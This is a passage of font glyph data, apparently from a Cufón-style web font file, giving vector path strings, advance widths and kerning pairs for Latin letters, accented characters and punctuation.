118,0r3,-21r118,0","w":186},{"d":"131,-165v17,-1,26,21,18,36v-11,20,-69,160,-104,195v-10,17,-44,27,-46,-1v-1,-20,22,-19,42,-18v5,-8,13,-23,17,-33r-36,-141v-5,-7,-13,-12,-27,-11r0,-10r58,-15r31,133r25,-53v3,-32,-11,-80,22,-82xm126,-217v0,19,-32,22,-32,2v0,-19,32,-22,32,-2xm69,-217v0,19,-32,21,-33,2v0,-19,32,-21,33,-2","w":152},{"d":"172,-188v-32,5,-26,-27,-54,-27v-22,0,-40,4,-40,36v0,39,87,55,87,107v0,79,-86,83,-154,69r8,-45r17,0v11,12,7,34,33,33v24,0,51,-13,51,-46v0,-43,-84,-56,-84,-105v0,-75,73,-68,136,-61r0,39","w":182,"k":{"W":-19,"U":-21,"O":-8,"&":-7}},{"d":"102,-235r-52,173r-14,0r20,-168xm60,-24v4,27,-45,40,-47,9v-3,-27,45,-40,47,-9","w":93},{"d":"259,-230r0,12r-24,8r-37,210r-25,0r-100,-179r-28,160r21,7r0,12r-62,0r0,-12r22,-7r33,-191v-8,-5,-24,-3,-20,-20r53,0r97,171r27,-151r-21,-8r0,-12r64,0xm202,-294v12,13,-15,44,-25,47v-16,0,-37,-16,-49,-16v-13,-4,-18,27,-27,12v3,-9,15,-37,26,-37v16,0,43,15,51,15v12,0,17,-12,24,-21","w":254},{"d":"66,-21v57,0,45,-72,59,-119v-4,-4,-7,-9,-14,-10v-37,0,-62,63,-62,99v0,15,6,30,17,30xm165,-155r-23,129v0,4,2,7,6,7v9,0,20,-19,24,-24r10,8v-9,13,-28,38,-56,38v-20,1,-24,-15,-21,-34v-14,16,-32,34,-52,34v-21,0,-42,-12,-42,-45v0,-48,46,-120,97,-120v30,0,46,4,57,7xm169,-217v0,19,-32,21,-33,2v0,-19,32,-21,33,-2xm112,-217v0,19,-32,21,-33,2v0,-19,32,-21,33,-2","k":{"T":14}},{"d":"46,66v-14,4,-21,-17,-6,-18v9,8,26,14,26,-6v0,-8,-9,-12,-16,-14r7,-34r7,0r2,20v8,3,18,8,18,18v0,22,-18,34,-38,34","w":118},{"d":"127,-230r0,12r-24,7r-34,192r22,7r0,12r-87,0r0,-12r24,-7r34,-192r-22,-7r0,-12r87,0xm136,-287r-49,43r-15,0r26,-43r38,0","w":120},{"d":"216,0r-80,0r0,-12r17,-7v1,-24,-5,-41,-8,-61r-85,0v-7,21,-24,32,-23,61v7,4,17,5,14,19r-65,0r0,-12r19,-7r108,-209r48,-6r39,215v8,4,19,4,16,19xm143,-98r-19,-111r-55,111r74,0xm147,-244r-15,0r-49,-43r38,0","w":225,"k":{"T":11,"G":-6}},{"d":"77,-239r-37,211v0,5,0,11,3,11v9,0,19,-19,24,-26r9,7v-9,17,-24,39,-46,39v-19,0,-20,-23,-17,-42r29,-169v-4,-7,-12,-9,-21,-11r0,-11","w":80},{"d":"86,-146v3,30,-51,44,-53,9v-4,-30,51,-42,53,-9xm67,-34v0,25,-34,54,-57,75r-9,-8v9,-10,23,-24,30,-36v-18,-13,-24,-55,9,-56v16,0,27,11,27,25","w":81},{"d":"93,-106r-7,22r-76,0r7,-22r76,0","w":103},{"d":"261,-218r-24,7v-26,94,1,210,-126,214v-46,2,-95,-27,-84,-90r22,-124r-22,-7r0,-12r86,0r0,12r-23,7r-23,139v0,33,18,52,54,52v98,0,72,-116,95,-191r-22,-7r0,-12r67,0r0,12xm201,-287r-49,43r-15,0r26,-43r38,0","w":246,"k":{"A":22}},{"d":"100,-230r-49,44r-15,0r26,-44r38,0","w":135},{"d":"123,-219r-24,8r-35,194v-9,49,-62,77,-85,83r-5,-7v18,-15,43,-36,49,-72r35,-198v-8,-5,-25,-2,-22,-19r87,0r0,11","w":115,"k":{"\u00c1":25,"\u00c2":25,"\u00c3":25,"\u00c0":25,"\u00f5":11,"\u00f6":11,"\u00f4":11,"\u00f2":11,"\u00f3":11,"\u00e5":11,"\u00e3":11,"\u00e4":11,"\u00e2":11,"\u00e0":11,"\u00e1":11,"\u00c5":25,"\u00c4":25,"o":11,"a":11,"A":25}},{"d":"208,-176r-16,0v-8,-17,-26,-37,-46,-37v-59,0,-87,66,-87,119v0,42,13,74,58,74v30,0,52,-22,63,-39r11,10v-21,27,-48,52,-87,52v-57,0,-90,-35,-90,-92v1,-93,90,-168,194,-135r0,48","w":207,"k":{"\u00c1":16,"\u00c2":16,"\u00c3":16,"\u00c0":16,"\u00c6":18,"\u00f5":11,"\u00f6":11,"\u00f4":11,"\u00f2":11,"\u00f3":11,"\u00e5":14,"\u00e3":14,"\u00e4":14,"\u00e2":14,"\u00e0":14,"\u00e1":14,"\u00c5":16,"\u00c4":16,"o":11,"e":12,"a":14,"Q":20,"C":16,"A":16}},{"d":"121,-147r-61,62r40,62r-21,0r-65,-62r86,-62r21,0","w":126},{"d":"86,-146v3,30,-51,44,-53,9v-4,-30,51,-42,53,-9xm67,-34v0,25,-34,54,-57,75r-9,-8v9,-10,23,-24,30,-36v-18,-13,-24,-55,9,-56v16,0,27,11,27,25","w":81},{"d":"105,-182v0,29,-20,50,-49,50v-29,0,-50,-22,-50,-50v0,-30,21,-49,50,-49v29,0,49,20,49,49xm59,-142v39,-4,31,-79,-6,-80v-39,3,-31,80,6,80","w":111},{"d":"127,-230r0,12r-24,7r-34,192r22,7r0,12r-87,0r0,-12r24,-7r34,-192r-22,-7r0,-12r87,0xm100,-244r-15,0r-49,-43r38,0","w":120},{"d":"216,0r-80,0r0,-12r17,-7v1,-24,-5,-41,-8,-61r-85,0v-7,21,-24,32,-23,61v7,4,17,5,14,19r-65,0r0,-12r19,-7r108,-209r48,-6r39,215v8,4,19,4,16,19xm143,-98r-19,-111r-55,111r74,0","w":225,"k":{"w":16,"U":-4,"T":11,"G":-6,"'":9}},{"d":"112,5v-58,0,-98,-39,-98,-98v0,-78,63,-141,140,-141v59,0,97,37,97,97v0,78,-61,142,-139,142xm143,-220v-52,0,-82,76,-82,122v0,37,7,88,60,88v52,0,82,-76,82,-122v0,-38,-13,-88,-60,-88xm157,-244r-14,0r-49,-43r37,0","w":264},{"d":"191,-230r0,45r-20,0v-9,-22,-32,-31,-68,-27r-14,82r40,0v10,-6,16,-18,35,-15r-8,50v-19,3,-22,-9,-30,-17r-41,0r-15,85v9,18,44,7,62,3v14,-9,19,-27,46,-23r-13,47r-161,0r0,-12r24,-7r34,-191r-22,-8r0,-12r151,0xm172,-291r-49,43r-15,0r26,-43r38,0","w":194},{"d":"54,-48r65,-81v-4,-10,-12,-16,-23,-16v-35,0,-43,63,-42,97xm124,-111r-65,81v5,10,13,16,24,16v34,0,42,-65,41,-97xm173,-172r-21,27v47,65,-31,182,-112,140r-21,25r-12,-10r20,-25v-50,-65,29,-178,112,-140r22,-26","w":181},{"d":"168,-92v0,67,-64,120,-118,156r-18,-3v50,-45,94,-86,94,-159v0,-24,-12,-47,-38,-47v-51,0,-68,102,-11,106v8,0,16,-1,24,-2v-1,15,-19,19,-35,19v-33,0,-63,-15,-63,-51v0,-55,46,-89,93,-89v39,0,72,33,72,70","w":172},{"d":"159,-132v0,36,-73,57,-108,62v-1,29,8,50,36,50v19,0,36,-17,49,-30r8,10v-19,23,-41,43,-72,43v-26,0,-61,-14,-61,-63v0,-48,41,-102,104,-102v19,0,44,8,44,30xm121,-135v0,-9,-8,-13,-17,-13v-32,0,-47,35,-52,66v30,-5,69,-19,69,-53xm172,-230r-49,44r-15,0r26,-44r38,0","w":171,"k":{"\u00e8":6,"T":32}},{"d":"182,-35v-9,13,-28,38,-56,38v-23,1,-24,-21,-20,-42r16,-88v0,-7,-4,-11,-13,-11v-12,0,-28,13,-42,25r-21,113r-38,0r25,-135v-5,-6,-15,-8,-24,-10r0,-12r67,-9r-6,36v15,-15,37,-32,61,-32v30,0,30,23,26,47r-15,89v0,4,2,7,6,7v15,0,23,-37,34,-16xm152,-237v12,13,-15,44,-25,47v-16,0,-37,-15,-49,-15v-11,0,-16,10,-23,18v-13,-10,11,-41,22,-43v16,0,42,15,50,15v12,0,18,-13,25,-22"},{"d":"261,-218r-24,7v-26,94,1,210,-126,214v-46,2,-95,-27,-84,-90r22,-124r-22,-7r0,-12r86,0r0,12r-23,7r-23,139v0,33,18,52,54,52v98,0,72,-116,95,-191r-22,-7r0,-12r67,0r0,12xm198,-274v0,18,-32,20,-32,1v0,-18,32,-20,32,-1xm141,-274v0,19,-33,20,-33,1v0,-19,33,-20,33,-1","w":246,"k":{"A":22}},{"d":"202,-174v0,62,-58,81,-103,71r-7,-14v40,7,68,-15,68,-56v0,-31,-27,-42,-60,-39r-34,193r25,7r0,12r-87,0r0,-12r24,-7r34,-193r-19,-6r0,-12v70,0,159,-12,159,56","w":215,"k":{"\u00c1":36,"\u00c2":36,"\u00c3":36,"\u00c0":36,"\u00f8":8,"\u00e6":11,"\u00c6":68,"\u00f5":8,"\u00f6":8,"\u00f4":8,"\u00f2":8,"\u00f3":8,"\u00eb":14,"\u00ea":14,"\u00e8":14,"\u00e9":14,"\u00e5":18,"\u00e3":18,"\u00e4":18,"\u00e2":18,"\u00e0":18,"\u00e1":18,"\u00c5":36,"\u00c4":36,"s":11,"o":8,"e":14,"d":11,"c":8,"a":18,"U":-13,"R":11,"P":11,"L":11,"I":10,"A":36}},{"d":"139,-183v-16,0,-23,-20,-32,-30v-17,1,-42,7,-42,29v0,33,93,26,93,73v0,27,-25,48,-49,54v17,7,28,22,28,40v0,48,-50,65,-89,65v-15,0,-63,-2,-63,-24v0,-18,27,-33,41,-18r22,23v19,0,47,-9,47,-32v0,-37,-90,-21,-90,-76v0,-28,20,-48,46,-56v-15,-7,-25,-19,-25,-36v0,-41,42,-59,77,-59v15,0,63,0,63,22v0,13,-14,25,-27,25xm41,-95v5,33,74,39,76,1v-6,-35,-74,-43,-76,-1","w":161},{"d":"66,-21v57,0,45,-72,59,-119v-4,-3,-8,-10,-14,-10v-37,0,-62,63,-62,99v0,15,6,30,17,30xm114,-41v-16,18,-36,44,-61,44v-21,0,-42,-12,-42,-45v0,-48,46,-120,97,-120v19,0,43,3,57,7r-2,7v28,-18,97,-26,97,16v0,36,-73,57,-108,62v-1,29,8,50,36,50v19,0,36,-17,49,-30r8,10v-30,45,-108,70,-131,-1xm221,-135v0,-9,-7,-13,-16,-13v-32,0,-47,35,-52,66v30,-5,68,-19,68,-53","w":272},{"d":"172,-36v-9,17,-24,39,-46,39v-16,1,-31,-16,-26,-36v-13,14,-36,36,-57,36v-24,0,-34,-20,-29,-48r18,-93v-4,-6,-12,-9,-21,-10r0,-11r61,-7r-23,133v0,9,4,11,13,11v8,0,33,-20,41,-30r18,-107r37,0r-22,133v0,5,1,9,3,9v9,0,18,-19,23,-26xm114,-186r-15,0r-49,-44r38,0","w":175},{"d":"124,-159r-5,14r-42,0r-21,118v0,4,1,7,5,7v9,0,31,-22,36,-27r7,11v-11,12,-39,39,-61,39v-20,1,-27,-20,-23,-42r19,-106r-28,0r5,-14v30,-4,43,-23,61,-39r9,0r-7,39r45,0","w":115},{"d":"6,-23r61,-62r-40,-62r21,0r64,62r-86,62r-20,0","w":126},{"d":"-11,102r2,-11r32,0r58,-333r-31,0r1,-12r70,0r-62,356r-70,0","w":130},{"d":"231,-105r-2,13r-18,4r-16,83v-83,22,-173,3,-173,-88v0,-96,91,-164,192,-131r0,48r-15,0v-7,-15,-23,-37,-47,-37v-58,0,-85,61,-85,114v0,56,33,94,92,79r8,-61v-4,-8,-15,-9,-24,-12r2,-12r86,0","w":230,"k":{"\u00c1":18,"\u00c2":18,"\u00c3":18,"\u00c0":18,"\u00c5":18,"\u00c4":18,"U":-13,"A":18}},{"d":"235,-152v0,36,-20,104,-65,104v-18,0,-24,-15,-21,-30v-12,15,-19,30,-41,30v-24,0,-36,-21,-36,-43v0,-54,41,-113,113,-93r-14,110v0,5,0,11,6,11v27,0,39,-59,39,-80v0,-46,-27,-72,-73,-72v-62,0,-106,63,-106,120v0,64,74,106,124,64r8,7v-55,59,-158,13,-158,-67v0,-69,63,-139,135,-139v50,0,89,25,89,78xm158,-167v-4,-3,-6,-8,-12,-9v-33,0,-50,55,-50,82v0,13,7,27,21,27v13,0,24,-18,32,-27","w":246},{"d":"112,5v-58,0,-98,-39,-98,-98v0,-78,63,-141,140,-141v59,0,97,37,97,97v0,78,-61,142,-139,142xm143,-220v-52,0,-82,76,-82,122v0,37,7,88,60,88v52,0,82,-76,82,-122v0,-38,-13,-88,-60,-88xm198,-274v0,19,-33,20,-33,1v0,-19,33,-20,33,-1xm140,-274v0,18,-32,20,-32,1v0,-18,32,-20,32,-1","w":264},{"d":"66,-158v-19,0,-34,-10,-34,-30v0,-27,22,-46,48,-46v19,0,33,9,33,30v0,27,-21,46,-47,46xm69,-171v27,2,39,-49,8,-50v-27,-3,-40,50,-8,50","w":119},{"d":"186,-92v8,101,-177,139,-181,24v-9,-102,177,-138,181,-24xm88,-20v66,0,95,-117,16,-119v-36,0,-68,32,-68,68v0,30,22,51,52,51","w":192},{"d":"159,-148r-113,206v-7,15,-38,15,-33,-7v10,-22,33,-32,45,-53r65,-116r-107,0r8,-41r135,0r0,11","w":172},{"d":"118,-24v-18,-24,-33,-54,-41,-83v-39,18,-41,93,14,91v9,0,18,-3,27,-8xm105,-141v21,-12,41,-27,41,-54v0,-13,-6,-22,-20,-22v-34,0,-28,46,-21,76xm128,-12v-39,25,-123,22,-123,-36v0,-40,36,-58,68,-75v-13,-57,-5,-107,64,-109v18,0,44,13,44,37v0,34,-41,53,-72,68v8,26,21,54,38,76v17,-24,42,-64,3,-71r0,-11r69,0r0,11r-24,9v-5,27,-17,54,-36,76v21,22,60,38,74,6r9,8v-17,45,-83,53,-114,11","w":235,"k":{"T":24}},{"d":"228,-137v0,75,-59,140,-135,140v-56,0,-89,-37,-89,-94v0,-75,58,-140,135,-140v56,0,89,37,89,94xm211,-136v0,-50,-27,-82,-75,-82v-67,0,-115,61,-115,125v0,50,27,83,75,83v68,0,115,-62,115,-126xm163,-57v5,2,12,3,9,11r-31,0r-40,-75v21,0,36,3,42,-25v5,-22,-14,-29,-38,-27r-20,116v6,3,17,0,15,11r-54,0v-2,-11,9,-8,15,-11r21,-116v-5,-3,-14,-1,-12,-11v44,1,105,-9,96,38v-3,18,-17,30,-35,34","w":231},{"d":"202,-185v-23,4,-28,-11,-38,-20v-15,-8,-37,-9,-61,-8r-14,83r46,0v10,-7,16,-18,36,-15r-9,50v-19,3,-22,-9,-30,-17r-47,0r-16,93r25,7r0,12r-90,0r0,-12r24,-7r34,-192r-22,-7r0,-12r162,0r0,45","w":198,"k":{"\u00c1":43,"\u00c2":43,"\u00c3":43,"\u00c0":43,"\u00f8":17,"\u00e6":33,"\u00c6":70,"\u00f5":29,"\u00f6":29,"\u00f4":29,"\u00f2":29,"\u00f3":29,"\u00eb":29,"\u00ea":29,"\u00e8":29,"\u00e9":29,"\u00e5":32,"\u00e3":32,"\u00e4":32,"\u00e2":32,"\u00e0":32,"\u00e1":32,"\u00c5":43,"\u00c4":43,"z":11,"y":9,"u":18,"s":21,"r":18,"q":19,"o":29,"m":11,"e":29,"d":24,"c":17,"a":32,"W":-13,"R":13,"P":19,"L":4,"I":4,"G":7,"F":23,"E":14,"C":7,"A":43,"&":7}},{"d":"146,-197r-3,13r-32,0r-5,21r33,0r-3,14r-33,-1r-6,33r-15,0r8,-33r-22,0r-6,33r-14,0r7,-33r-33,1r3,-14r33,0r4,-21r-32,0r2,-13r33,0r7,-33r14,0r-8,33r22,0r6,-33r15,0r-8,33r33,0xm96,-184r-20,0r-4,21r20,0","w":171},{"d":"76,-166r-23,129v-1,7,-3,18,5,18v14,0,22,-37,33,-16v-9,13,-28,38,-55,38v-22,0,-25,-15,-20,-42r17,-96v-5,-6,-15,-8,-24,-10r0,-12xm96,-184v-22,2,-23,-17,-34,-26v-15,9,-19,28,-45,26r39,-46r17,0","w":95},{"d":"94,-151r11,-63v-29,-1,-37,48,-11,63xm96,-98r-14,82v20,-4,38,-18,38,-45v0,-15,-11,-26,-24,-37xm125,-261r-5,30v16,0,38,2,52,4r0,39v-33,5,-26,-26,-55,-27r-13,73v26,19,61,37,61,70v0,52,-50,73,-86,75r-7,35r-12,0r6,-35v-18,0,-38,-2,-55,-6r8,-45r17,0v11,12,7,34,33,33r17,-91v-23,-16,-50,-37,-50,-60v0,-49,37,-64,72,-65r5,-30r12,0","w":182},{"d":"66,-21v57,0,45,-72,59,-119v-4,-4,-7,-9,-14,-10v-37,0,-62,63,-62,99v0,15,6,30,17,30xm165,-155r-23,129v0,4,2,7,6,7v9,0,20,-19,24,-24r10,8v-9,13,-28,38,-56,38v-20,1,-24,-15,-21,-34v-14,16,-32,34,-52,34v-21,0,-42,-12,-42,-45v0,-48,46,-120,97,-120v30,0,46,4,57,7xm172,-230r-49,44r-15,0r26,-44r38,0"},{"d":"162,-159r-10,34r-84,0r-6,30v36,4,90,24,90,64v0,66,-82,96,-139,97r-4,-14v36,-6,101,-22,101,-70v0,-38,-48,-41,-75,-43r21,-98r106,0","w":172},{"d":"193,-201v0,41,-65,45,-65,67v0,20,60,22,60,68v0,52,-54,69,-90,69v-38,0,-34,-39,-9,-39v17,0,20,15,30,24v13,0,29,-19,29,-42v0,-37,-58,-40,-58,-67v0,-33,62,-34,62,-80v0,-15,-8,-24,-22,-24v-32,0,-45,41,-49,66r-28,159r-60,0r0,-12r24,-7r26,-147v10,-54,60,-74,100,-74v21,0,50,10,50,39","w":189},{"d":"100,-186r-15,0r-49,-44r38,0","w":135},{"d":"94,-138r-30,5r-1,-10v-10,13,-57,14,-57,-15v0,-26,22,-28,55,-28v4,-24,-8,-42,-31,-34v0,12,-19,25,-22,6v13,-25,77,-29,75,11v4,19,-11,55,11,58r0,7xm61,-148v-2,-9,3,-25,-2,-30v-13,0,-34,0,-31,20v3,16,19,12,33,10","w":96},{"d":"120,-122v0,-18,-17,-24,-31,-24v-12,10,-21,30,-41,29v-12,0,-20,-6,-20,-18v0,-26,51,-27,70,-27v23,0,63,10,63,36v0,35,-36,51,-67,59v26,0,56,17,56,44v0,64,-85,88,-137,89r-4,-13v37,-8,99,-20,99,-68v0,-26,-20,-40,-50,-36r-1,-14v26,-9,63,-24,63,-57","w":172},{"d":"109,-70v17,20,38,75,57,33r11,7v-10,27,-66,52,-79,11r-17,-53v-14,-2,-7,-19,3,-18v2,0,11,0,17,9v34,0,39,-61,3,-63v-13,0,-24,12,-34,23r-21,121r-38,0r37,-209v-5,-6,-13,-8,-22,-10r0,-11r65,-9r-18,101v18,-32,96,-34,95,17v0,28,-33,50,-59,51","w":184,"k":{"w":13}},{"d":"191,-230r0,45r-20,0v-9,-22,-32,-31,-68,-27r-14,82r40,0v10,-6,16,-18,35,-15r-8,50v-19,3,-22,-9,-30,-17r-41,0r-15,85v9,18,44,7,62,3v14,-9,19,-27,46,-23r-13,47r-161,0r0,-12r24,-7r34,-191r-22,-8r0,-12r151,0xm132,-248r-15,0r-49,-43r38,0","w":194},{"d":"118,-97v2,-28,-8,-67,21,-68v18,0,27,18,19,33r-73,132r-37,0r-21,-127v-5,-7,-13,-12,-27,-11r0,-10r59,-15r22,134","w":157},{"d":"306,-218r-23,6r-18,193r22,7r0,12r-87,0r0,-12r24,-7r19,-169r-102,191r-20,0r-38,-189r-37,167r19,7r0,12r-61,0r0,-12r20,-7r47,-194r-20,-5r0,-12r64,0r36,177r93,-177r62,0r0,12","w":313,"k":{"&":-7}},{"d":"33,-13v7,-33,44,2,67,1v71,0,104,-60,104,-125v0,-44,-22,-77,-69,-77v-49,0,-82,49,-82,94v0,43,29,66,72,57v-9,8,-10,21,-29,21v-54,0,-87,-27,-87,-73v0,-64,75,-119,137,-119v62,0,103,39,103,98v0,60,-45,126,-127,139r131,25r-29,36r-141,-58v-12,-3,-55,4,-50,-19","w":255,"k":{"\u00c1":29,"\u00c2":29,"\u00c3":29,"\u00c0":29,"\u00c6":41,"\u00f5":11,"\u00f6":11,"\u00f4":11,"\u00f2":11,"\u00f3":11,"\u00e5":11,"\u00e3":11,"\u00e4":11,"\u00e2":11,"\u00e0":11,"\u00e1":11,"\u00c5":29,"\u00c4":29,"o":11,"a":11,"A":29}},{"d":"239,-219r-27,9r-84,78r76,113v7,4,16,6,13,19r-54,0r-75,-119r89,-85v3,-18,-23,-4,-18,-26r80,0r0,11xm121,-230r-1,11r-24,8r-34,192r22,7r0,12r-87,0r0,-12r24,-7r34,-192v-8,-5,-25,-2,-22,-19r88,0","w":235,"k":{"\u00c1":14,"\u00c2":14,"\u00c3":14,"\u00c0":14,"\u00f8":11,"\u00e6":11,"\u00c6":18,"\u00f5":18,"\u00f6":18,"\u00f4":18,"\u00f2":18,"\u00f3":18,"\u00e5":18,"\u00e3":18,"\u00e4":18,"\u00e2":18,"\u00e0":18,"\u00e1":18,"\u00c5":14,"\u00c4":14,"z":18,"y":18,"x":11,"w":18,"v":18,"u":11,"t":11,"s":11,"r":11,"q":11,"p":11,"o":18,"n":11,"m":11,"j":11,"i":11,"g":11,"f":11,"e":14,"d":11,"c":11,"a":18,"S":10,"O":18,"I":5,"C":19,"A":14,"-":18}},{"d":"74,-166r-23,129v-1,7,-4,18,4,18v15,0,23,-37,34,-16v-9,13,-28,38,-55,38v-22,0,-25,-15,-20,-42r17,-96v-5,-6,-15,-8,-24,-10r0,-12xm71,-186r-15,0r-49,-44r38,0","w":95},{"d":"127,-230r0,12r-24,7r-34,192r22,7r0,12r-87,0r0,-12r24,-7r34,-192r-22,-7r0,-12r87,0xm134,-274v0,19,-33,20,-33,1v0,-19,33,-20,33,-1xm76,-274v0,18,-32,20,-32,1v0,-18,32,-20,32,-1","w":120},{"d":"47,-63v0,30,12,41,33,41v15,0,30,-19,42,-33r8,9v-15,22,-33,49,-68,49v-29,0,-55,-19,-55,-57v0,-57,43,-108,98,-108v16,0,48,7,48,25v1,18,-26,23,-37,11r-20,-21v-34,0,-49,51,-49,84","w":144,"k":{"e":5,"c":7,"a":7}},{"d":"63,-243v65,94,14,206,-56,270r-14,0v48,-81,77,-160,57,-270r13,0","w":108},{"d":"198,-186v0,27,-25,54,-59,59v25,3,55,21,55,47v-1,86,-100,83,-190,80r0,-12r22,-7r34,-192r-20,-7r0,-12v61,3,160,-16,158,44xm101,-132v49,8,79,-78,20,-81r-21,0r-15,81r16,0xm149,-76v0,-31,-32,-41,-67,-38r-15,87v5,3,6,9,14,9v39,0,68,-17,68,-58","w":212,"k":{"U":-8,"A":9}},{"d":"67,-34v0,25,-34,54,-57,75r-9,-8v9,-10,23,-24,30,-36v-18,-13,-24,-55,9,-56v16,0,27,11,27,25","w":81},{"d":"151,-186v0,53,-42,71,-75,75v-15,2,-20,24,-21,41r-14,-6r5,-56v35,0,67,-20,67,-54v0,-18,-9,-33,-29,-32v-13,11,-19,36,-40,36v-13,0,-21,-8,-21,-20v0,-24,54,-29,70,-29v27,0,58,13,58,45xm65,-24v3,27,-45,40,-47,9v-3,-27,45,-40,47,-9","w":151,"k":{"\u00bf":10}},{"d":"135,-99v0,-22,-4,-40,-25,-40v-13,0,-29,11,-37,20r-16,95v6,4,7,11,17,11v38,0,61,-55,61,-86xm42,57r25,6r0,11r-88,0r0,-11r25,-6r34,-194v-5,-5,-14,-6,-22,-8r0,-12r66,-9r-5,29v9,-10,27,-25,45,-25v33,0,53,24,53,55v-1,55,-49,120,-123,109","w":189,"k":{"\u00e6":4}},{"d":"191,-230r0,45r-20,0v-9,-22,-32,-31,-68,-27r-14,82r40,0v10,-6,16,-18,35,-15r-8,50v-19,3,-22,-9,-30,-17r-41,0r-15,85v9,18,44,7,62,3v14,-9,19,-27,46,-23r-13,47r-161,0r0,-12r24,-7r34,-191r-22,-8r0,-12r151,0xm162,-274v0,19,-33,20,-33,1v0,-19,33,-20,33,-1xm104,-274v0,18,-32,20,-32,1v0,-18,32,-20,32,-1","w":194},{"d":"112,5v-58,0,-98,-39,-98,-98v0,-78,63,-141,140,-141v59,0,97,37,97,97v0,78,-61,142,-139,142xm143,-220v-52,0,-82,76,-82,122v0,37,7,88,60,88v52,0,82,-76,82,-122v0,-38,-13,-88,-60,-88","w":264,"k":{"\u00c1":8,"\u00c2":8,"\u00c3":8,"\u00c0":8,"\u00c5":8,"\u00c4":8,"d":8,"W":-23,"U":-10,"A":8,".":13,"&":-7}},{"d":"216,0r-80,0r0,-12r17,-7v1,-24,-5,-41,-8,-61r-85,0v-7,21,-24,32,-23,61v7,4,17,5,14,19r-65,0r0,-12r19,-7r108,-209r48,-6r39,215v8,4,19,4,16,19xm143,-98r-19,-111r-55,111r74,0xm135,-246v-15,0,-32,-7,-32,-25v0,-23,21,-37,42,-37v16,0,32,7,32,25v0,22,-22,37,-42,37xm159,-282v0,-10,-7,-14,-16,-14v-14,0,-22,9,-22,23v0,10,7,14,16,14v14,0,22,-9,22,-23","w":225,"k":{"T":11,"G":-6}},{"d":"271,-219r-24,8r-34,192r22,7r0,12r-88,0r0,-12r25,-7r16,-93r-103,0r-16,93r22,7r0,12r-87,0r0,-12r24,-7r34,-192v-8,-5,-25,-2,-22,-19r87,0r0,11r-24,8r-14,81r102,0r15,-81v-8,-5,-25,-2,-22,-19r87,0r0,11","w":263,"k":{"\u00c1":14,"\u00c2":14,"\u00c3":14,"\u00c0":14,"\u00f5":11,"\u00f6":11,"\u00f4":11,"\u00f2":11,"\u00f3":11,"\u00e5":11,"\u00e3":11,"\u00e4":11,"\u00e2":11,"\u00e0":11,"\u00e1":11,"\u00c5":14,"\u00c4":14,"y":11,"u":11,"o":11,"e":25,"a":11,"U":-6,"A":14}},{"d":"117,-121r-3,18r-99,0r3,-18r99,0xm117,-86r-3,19r-99,0r3,-19r99,0","w":133},{"w":90},{"d":"159,-148r-37,7r-22,122r36,7r0,12r-113,0r0,-12r38,-7r21,-122r-35,-7r0,-11r112,0r0,11","w":172},{"d":"67,-26v4,30,-51,42,-53,9v-3,-30,52,-44,53,-9","w":81},{"d":"159,-132v0,36,-73,57,-108,62v-1,29,8,50,36,50v19,0,36,-17,49,-30r8,10v-19,23,-41,43,-72,43v-26,0,-61,-14,-61,-63v0,-48,41,-102,104,-102v19,0,44,8,44,30xm121,-135v0,-9,-8,-13,-17,-13v-32,0,-47,35,-52,66v30,-5,69,-19,69,-53","w":171,"k":{"\u00e9":6,"\u00e5":4,"\u00e3":4,"\u00e4":4,"\u00e2":4,"\u00e0":4,"\u00e1":4,"s":7,"o":7,"e":6,"d":1,"c":11,"a":4}},{"d":"216,0r-80,0r0,-12r17,-7v1,-24,-5,-41,-8,-61r-85,0v-7,21,-24,32,-23,61v7,4,17,5,14,19r-65,0r0,-12r19,-7r108,-209r48,-6r39,215v8,4,19,4,16,19xm143,-98r-19,-111r-55,111r74,0xm188,-294v12,13,-15,44,-25,47v-16,0,-37,-16,-49,-16v-11,0,-16,10,-23,18v-13,-9,12,-41,22,-43v16,0,42,15,50,15v12,0,18,-12,25,-21","w":225,"k":{"T":11,"G":-6}},{"d":"259,-230r0,12r-24,8r-37,210r-25,0r-100,-179r-28,160r21,7r0,12r-62,0r0,-12r22,-7r33,-191v-8,-5,-24,-3,-20,-20r53,0r97,171r27,-151r-21,-8r0,-12r64,0","w":254,"k":{"\u00c1":14,"\u00c2":14,"\u00c3":14,"\u00c0":14,"\u00f5":11,"\u00f6":11,"\u00f4":11,"\u00f2":11,"\u00f3":11,"\u00e5":11,"\u00e3":11,"\u00e4":11,"\u00e2":11,"\u00e0":11,"\u00e1":11,"\u00c5":14,"\u00c4":14,"o":11,"e":25,"a":11,"V":-15,"Q":10,"N":4,"A":14}},{"d":"112,5v-58,0,-98,-39,-98,-98v0,-78,63,-141,140,-141v59,0,97,37,97,97v0,78,-61,142,-139,142xm143,-220v-52,0,-82,76,-82,122v0,37,7,88,60,88v52,0,82,-76,82,-122v0,-38,-13,-88,-60,-88xm186,-242v-22,2,-23,-16,-34,-25v-15,8,-19,27,-45,25r39,-46r17,0","w":264},{"d":"47,-63v0,30,12,41,33,41v15,0,30,-19,42,-33r8,9v-15,22,-33,49,-68,49v-29,0,-55,-19,-55,-57v0,-57,43,-108,98,-108v16,0,48,7,48,25v1,18,-26,23,-37,11r-20,-21v-34,0,-49,51,-49,84xm42,66v-14,4,-21,-17,-6,-18v9,8,26,14,27,-6v0,-8,-9,-12,-16,-14r6,-34r7,0r2,20v8,3,18,8,18,18v0,22,-18,34,-38,34","w":144},{"w":90},{"d":"66,-21v57,0,45,-72,59,-119v-4,-4,-7,-9,-14,-10v-37,0,-62,63,-62,99v0,15,6,30,17,30xm165,-155r-23,129v0,4,2,7,6,7v9,0,20,-19,24,-24r10,8v-9,13,-28,38,-56,38v-20,1,-24,-15,-21,-34v-14,16,-32,34,-52,34v-21,0,-42,-12,-42,-45v0,-48,46,-120,97,-120v30,0,46,4,57,7xm129,-186r-15,0r-49,-44r38,0","k":{"T":14}},{"d":"147,-243r-132,275r-21,0r131,-275r22,0","w":138},{"d":"112,5v-58,0,-98,-39,-98,-98v0,-78,63,-141,140,-141v59,0,97,37,97,97v0,78,-61,142,-139,142xm143,-220v-52,0,-82,76,-82,122v0,37,7,88,60,88v52,0,82,-76,82,-122v0,-38,-13,-88,-60,-88xm198,-294v14,11,-14,44,-24,47v-16,0,-37,-16,-49,-16v-11,0,-16,10,-23,18v-13,-9,12,-41,22,-43v16,0,42,15,50,15v12,0,17,-12,24,-21","w":264},{"d":"172,-36v-9,17,-24,39,-46,39v-16,1,-31,-16,-26,-36v-13,14,-36,36,-57,36v-24,0,-34,-20,-29,-48r18,-93v-4,-6,-12,-9,-21,-10r0,-11r61,-7r-23,133v0,9,4,11,13,11v8,0,33,-20,41,-30r18,-107r37,0r-22,133v0,5,1,9,3,9v9,0,18,-19,23,-26","w":175,"